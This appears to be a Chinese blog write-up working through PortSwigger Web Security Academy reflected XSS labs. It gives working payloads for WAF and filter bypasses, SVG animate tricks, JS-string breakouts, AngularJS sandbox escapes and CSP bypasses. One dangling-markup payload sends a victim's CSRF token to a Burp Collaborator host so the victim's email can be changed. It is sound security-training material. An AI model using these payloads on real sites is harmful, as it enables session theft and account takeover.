题目要求
调用alert
函数
解题过程
请求:
url/?search=asd
返回:
<h1>0 search result for ‘asd‘</h1>
发现参数search
直接嵌入到了html里
直接插入xss payload就型
<script>alert()</script>
题目描述
在搜索功能点可以xss,但是有waf
要求自动调用alert(document.cookie)
解题过程
试了半天没有找到可以利用的标签,用burp测试<$$>
发现body
标签可用
试了半天没有找到可以利用的时间,用burp测试<body $$>
发现onresize
标签可用
查了一下,onresize
在窗口被调整大小时调用
构造payload:<body onresize=alert(document.cookie)>
都弹窗了还是没有给过,才发现有个Exploit Server
,是要构造csrf的payload:
<iframe src="https://ac701fd21fa553d380da369500960007.web-security-academy.net/?search=%3Cbody%20onresize%3Dalert%28document.cookie%29%3E" onload=this.style.width=‘100px‘>
保存然后deliver exploit to victim即可
这里查了可调整窗口大小的js方法window.resizeTo(x,y)
,但是不起作用,最后用了官方solution里的this.style.width=‘100px‘
,后来测试了一下,window
属性是原本页面的属性,不是iframe
的属性,所以无法激活onresize
函数
参考
标签/事件/payload字典:https://portswigger.net/web-security/cross-site-scripting/cheat-sheet
题目描述
过滤了除过自定义标签之外的所有HTML标签
要求alert(document.cookie)
解题过程
自定义标签无法使用onload
属性,去上到题用到的cheat-sheet查了一下,发现了这个payload:<xss id=x tabindex=1 onfocus=alert(document.cookie)></xss>
,但是不会弹窗,于是我加了个autofocus
<xss id=x tabindex=1 onfocus=alert(document.cookie) autofocus></xss>
这里
autofocus
起作用的原因在于tabindex
的意义,tabindex
是用来控制tab键的控制次序的,xss标签添加了tabindex
属性,让它本身具有了被autofocus
的功能(我的理解若有错误,欢迎指正)
但是会无限弹窗 = =,手动f12跳过还是不给过,然后发现要去Exploit Server
!!!
ctmd真好,然后deliver之后还是不给过,应该是因为无限弹窗吧
去看了官方solution,用了锚(hash),很巧妙,给xss标签定义id为x,然后用#
聚焦到锚点x
payload: <script>location = "https://aca61f4e1f84997480181c8b0035004a.web-security-academy.net/?search=%3Cxss%20id%3Dx%20tabindex%3D1%20onfocus%3Dalert%28document.cookie%29%3E%3C/xss%3E#x"</script>
href
attributes blocked题目描述
一些白名单里的标签可以xss,但是所有事件和href
属性都被ban掉了
要求通过点击调用alert
函数
做题过程
用burp测了下白名单标签,有<a> <animate> <discard> <image> <svg> <title>
<a href=javascript:alert()>Click</a>
测试发现,事件过滤的是<x onxxx
,没什么用
然后去搜索标签介绍的时候,看到了一篇利用<animate>
标签xss的介绍[1],里面给的payload:<svg><animate xlink:href=#xss attributeName=href dur=5s repeatCount=indefinite keytimes=0;0;1 values="https://safe-url?;javascript:alert(1);0" /><a id=xss><text x=20 y=20>XSS</text></a>
,但是payload里用到了href
,无法利用
仔细读了一遍介绍,觉得svg+animate+a
是可行的,然后继续去找相关的介绍,看到了第二篇介绍[2],这篇介绍里给了一个payload:<svg width=12cm height=9cm><a><image href=//brutelogic.com.br/yt.jpg /><animate attributeName=href values=javascript:alert(1)>
(有href属性,与题目环境不符),自己用phpstudy进行测试,很有意思,这个payload是利用animate
的attributeName
和values
属性给父标签赋值
需要做的是用文字把image
标签替换掉,这里试了很多种,但是都无法显示,觉得很奇怪(f12可以看到元素,但是页面没有显示),于是想到第一篇介绍payload里的text
标签,测试之后发现,svg
画布里,text
标签要有x,y
属性才会显示,然后配合animate
给父元素赋值的特性,构造payload:<svg><a><text x=20 y=20>Click me</text><animate attributeName=href values="javascript:alert()">
之后测试发现,<svg><a><rect width=100% height=100% /><animate attributeName=href to=javascript:alert(1)>
,这个payload也可以,利用的是animate
的from,to
赋值特性
还有个发现,text标签没有在burp给的标签列表里,得去添加上
参考
题目描述
站点过滤了一般标签和事件,但是一些SVG的标签和事件被忽略了
要求调用alert
函数,(只能在Chrome中实现)
解题过程
试了下上到提的payload,发现animate
标签被ban了
然后看了一下,发现discard
没有被ban,去cheat-sheet搜payload,找到<svg><discard onbegin=alert(1)>
题目描述
在搜索功能点可以xss,但是<>
会被HTML编码
要求调用alert
函数
解题步骤
输了asd,查看页面变化
<input maxlength="600" type="text" placeholder="Search the blog..." name="search" value="asd">
可以看到关键词asd被潜入了value
构造payload:" onfocus=alert() "
点击之后会一直弹窗,f12跳过之后不给过
换个payload:" onmouseover=alert() "
题目描述
站点会过滤<>
并反弹用户在canonical link tag 里的输入
要求调用alert
函数
提示:假设用户会按ALT+SHIFT+X
,CTRL+ALT+X
,ALT+X
解题过程
先看了下元素
<link rel="canonical" href="https://ac001fe01fae00fd80342313000a00d3.web-security-academy.net/">
尝试的时候发现双引号被url编码了,但是单引号可以
payload:url?asd%27accesskey=%27alt%2bshift%2bx%27onclick=%27alert(1)
题目描述
在search query tracking
功能点处可以xss,会编码单引号和反斜杠
要求逃逸出js字符串,调用alert
函数
解题过程
关键代码
<script>
var searchTerms = ‘asd‘;
document.write(‘<img src="/resources/images/tracker.gif?searchTerms=‘+encodeURIComponent(searchTerms)+‘">‘);
</script>
这里涉及了html解析标签的机制,浏览器解析标签的顺序是:
遇到<x>
考试标签,去寻找</x>
结束标签,然后才解析标签里的内容
所以只需要直接嵌入结束标签即可
payload:</script><img/src=x onerror=alert()>
题目描述
在search query tracking
功能点处可以xss,会编码尖括号
要求逃逸出js字符串,调用alert
函数
解题过程
关键代码
<script>
var searchTerms = ‘asd‘;
document.write(‘<img src="/resources/images/tracker.gif?searchTerms=‘+encodeURIComponent(searchTerms)+‘">‘);
</script>
没过滤单引号,直接闭合就可以
构造payload:‘;alert()//
题目描述
在search query tracking
功能点处可以xss,尖括号和双引号会被HTML编码,单引号会addslash(转义,添加\
)
要求逃逸出js字符串,调用alert
函数
解题过程
因为只对单引号进行了addslash,所以可以在单引号前加一个\
,就变成了\\‘
,单引号会正常表达
构造payload:\‘;alert()//
题目描述
为了防止xss,ban掉了一些字符,
要求调用alert(1337)
解题步骤
点进一个blog,看源码,发现可以这块代码的url是可控的
<a href="javascript:fetch(‘/analytics‘, {method:‘post‘,body:‘/post%3fpostId%3d2%26asd‘}).finally(_ => window.location = ‘/‘)">Back to Blog</a>
尝试过程:
\
,()
,HTML实体编码被过滤了想到了javascript后是js环境,考虑//
注释,尝试过程中发现"
可以闭合href
考虑了利用html解析机制,但是过滤了HTML编码,最主要的是=
会被url编码
尝试了很多方法,都没法闭合前面圆括号里的语句,不闭合的话,点击链接浏览器会报错,onerror也不会被调用
去看了官方solution
<a href="javascript:fetch(‘/analytics‘, {method:‘post‘,body:‘/post%3fpostId%3d2%26%27},x%3dx%3d%3e{throw/**/onerror%3dalert,1337},toString%3dx,window%2b%27%27,{x%3a%27‘}).finally(_ => window.location = ‘/‘)">Back to Blog</a>
这些字符虽然被url编码,但是仍能起作用,这才想起来!这是在href
上下文里,会被url解码。
核心在于throw
的用法,利用捕获错误的语句,调用alert
函数
题目描述
在搜索博客功能点可以xss,<> ‘ " \ `
会被unicode编码
要求调用alert
函数
解题过程
关键代码
<script>
var message = `0 search results for ‘sss‘`;
document.getElementById(‘searchMessage‘).innerText = message;
</script>
这道题我是没想到的,有个东西叫做js模板,相当于字符串里的占位符,但里面的代码可以执行,用法:${code}
payload:${alert()}
题目描述
这道题用了AngularJS
,在该环境里$eval
函数不可用,并且不能使用任何字符串( ???)
要求调用alert
函数
解题过程
AngularJS
的环境在[前面的题]里见到过,有现成的payload{{$on.constructor(‘alert(1)‘)()}}
<script>angular.module(‘labApp‘, []).controller(‘vulnCtrl‘,function($scope, $parse) {
$scope.query = {};
var key = ‘search‘;
$scope.query[key] = ‘{{2*2}}‘;
$scope.value = $parse(key)($scope.query);});
</script>
<h1 ng-controller="vulnCtrl" class="ng-scope ng-binding">0 search results for {{2*2}}</h1>
用不了字符串,就需要把payload改造一下,但我改造不出来 = =
payload:1&toString().constructor.prototype.charAt%3d[].join;[1]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)=1
这个exp使用了toString()
函数来创建一个不需要引号的字符串,然后拿到String
的原型并重载charAt
函数,以此逃逸出沙盒环境(因为我们重载了charAt
函数,所以原生js的用法会被允许)。然后,一个数组被传递给orderBy
过滤器,我们使用toString()
来设置过滤器的参数,以此创建一个字符串以及一个字符串构造器的原型。最后,我们使用fromCharCode
方法生成我们的payload。
我的理解:
构造payload:
重载把原本用于返回指定位置字符的charAt
函数转换为join
函数
之后的过滤器和orderBy
把数组转换成了字符串
利用构造器使用fromCharCode
函数构造payload
最后的=1
是调用重载后的函数,把payload赋值给[1]
补充(文档说明)
AngularJS沙盒逃逸的方法有很多,最为熟知的是利用expression来重载charAt()
。
即:‘a‘.constructor.prototype.charAt=[].join
AngularJS会执行该表达式,并重载charAt()
函数,这将导致charAt()
函数会一次性返回所有传入的字符,而非单个的字符。由于AngularJS里isIdent()
函数(大概是检测输入字符是否合法的函数)的逻辑是比较传入字符与特定字符,而单个字符总是小与字符串,所以isIdent()
函数总会返回true
,进而可以任意代码执行。
利用:
angular.module(‘labApp‘, []).controller(‘vulnCtrl‘,function($scope, $parse) {
$scope.query = {};
var key = ‘search‘;
$scope.query[key] = ‘1‘;
$scope.value = $parse(key)($scope.query);
var key = ‘toString().constructor.prototype.charAt=[].join;[1]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)‘;
$scope.query[key] = ‘1‘;
$scope.value = $parse(key)($scope.query);
});
可以看到通过1&payload
进行了参数污染,把payload赋值给了key,以便利用$parse
函数加载payload,太巧妙了
题目描述
这道题使用了CSP和AngularJS
要求 绕过CSP,逃逸AngularJS沙盒,并调用alert(document.cookie)
CSP:Content Security Policy,内容安全策略,以白名单的机制对网站加载或执行的资源起作用。在网页中,这样的策略通过 HTTP 头信息或者 meta 元素定义。CSP虽然提供了强大的安全保护,但是他也造成了如下问题:Eval及相关函数被禁用、内嵌的JavaScript代码将不会执行、只能通过白名单来加载远程脚本。
how-does-an-angularjs-csp-bypass-work:csp会禁止使用
Function
构造函数,并且会阻止js事件。但是AngularJS定义了它自己的事件,可以利用这个特性来绕过CSP。在Chrome中,$event/event
有一个特殊的属性path
,这个属性包含了一个可以造成事件被执行的对象的数组。这些对象里最后一个总会是window
对象,我们可以利用它来进行沙盒逃逸。通过把这个数组传递给过滤器orderBy
,我们可以枚举数组元素并使用window
对象来执行全局函数,例如alert()
,payload:
<input autofocus ng-focus="$event.path|orderBy:‘[].constructor.from([1],alert)">
但是这道题会限制长度,上面的payload用不了,所以需要思考其他方法来隐藏
window
对象,方法之一是使用array.map()
函数,例如:[1].map(alert)
,map接收一个函数并通过数组中的每一个对象来调用
解题过程
文档给的提示已经足够多了,只需要组装payload即可
我最先想到的是<input ng-focus=$event.path|orderBy:‘[1].map(alert)(document.cookie)‘>
但是无法弹窗,应该是map()
的用法有问题
修改后:<input ng-focus="$event.path.map(alert)(document.cookie)">
去看了map()
的介绍,修改了payload:
<input ng-focus=$event.path.map(alert,documen.cookie)>
仍然无效,又试了很多种方式,都无效
去看了官方solution,payload如下:
<input id=x ng-focus=$event.path|orderBy:‘(x=alert)(document.cookie)‘>
我的理解是:根据(x=alert)
进行排序,但是只有一个对象符合,进而执行
题目描述
这道题使用了CSP来限制xss
要求盗取csrf token
来修改另一个用户的邮箱地址
解题过程
看起来和stored_xss
里最后一道一样,试了一下,被禁止跨域请求
标题说了是标签注入的反射型xss,先去看看哪里可以xss,发现邮箱的input
标签用的name
,name命名可以通过get传值
验证:https://ac931fc31e60f5f4808b184f00880021.web-security-academy.net/email?email=xss">
返回:
<input required="" type="email" name="email" value="xss">
<img src="x" onerror="alert()">
但是这里禁止了跨域加载资源,禁止了自定义函数,不知道怎么把这个csrf token
传出去,看了solution,有点巧妙
(放到exploit server)
?email=xss"><table%20background=‘//tkh0i1f2cwy0aj1e0yhmdf15uw0mob.burpcollaborator.net/?
利用单引号把后面的标签都当作get参数传给Burp Collaborator
,就可以拿到token了
之后使用burp自带的CSRF PoC生成器(在http请求报文里右键Engagement tools -> generate CSRF PoC),生成一个自动提交(右上角option里面选)的csrf表单,放到exploit server提交
暂留
暂留
? 笔者水平有限,如果所述有错误,欢迎指正交流。
Portswigger-web-security-academy:reflected_xss
原文:https://www.cnblogs.com/R3col/p/12989789.html